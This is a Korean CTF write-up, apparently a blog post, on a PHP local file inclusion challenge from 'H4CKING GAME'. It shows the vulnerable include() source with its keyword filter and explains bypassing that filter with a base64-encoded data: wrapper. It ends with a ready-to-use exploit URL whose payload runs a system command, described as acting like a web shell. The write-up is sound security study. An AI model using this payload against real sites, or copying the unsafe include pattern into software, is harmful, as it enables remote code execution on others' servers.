본문 바로가기
H4CKING GAME

[H4CKING GAME] - PHP LFI

by skyepodium 2022. 8. 15.

1. 개요

php Local file injection 문제

 

2. 분석

1) query string

쿼리스트링으로 파일명을 받고 있습니다. LFI 걸기 좋아보입니다.

 

2) filter

다만, flag, // 에 필터가 걸려있습니다.

<?php

if($_GET['inc']){
        if(preg_match('/flag|:\/\//i', $_GET['inc'])){
                exit("no hack");
        }
        include($_GET['inc']);
    }else{
        echo "
            <h1><a href='?inc=hello'>hello</a></h1>
            <h1><a href='?inc=test'>test</a></h1>
        ";
    }

    phpinfo();
    //php.ini:allow_url_include=On
    //php.ini:allow_url_fopen=On

?>

 

3) 필터 우회

php wrapper는 해당 프로토콜에서 파일시스템을 다루는 역할을 수행합니다.

 

data:// wrapper를 보면 base64 인코딩을 사용할 수 있고 filter에 적용된 // 와 flag를 우회할 수 있습니다.

 

4) base64 인코딩

 

base64 인코딩된 값을 넣어줍니다.

거의 웹쉘 처럼 사용가능합니다.

http://web.h4ckingga.me:10012/?inc=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgaW5kZXgucGhwIik/Pg==

'H4CKING GAME' 카테고리의 다른 글

[DigitalForensic] with CTF - ROX  (0) 2022.08.15
[H4CKING GAME] - CODE  (0) 2022.08.15
[H4CKING GAME] - Paint  (0) 2022.08.07
[H4CKING GAME] - Qualification  (0) 2022.08.07
[H4CKING GAME] - cat  (0) 2022.08.07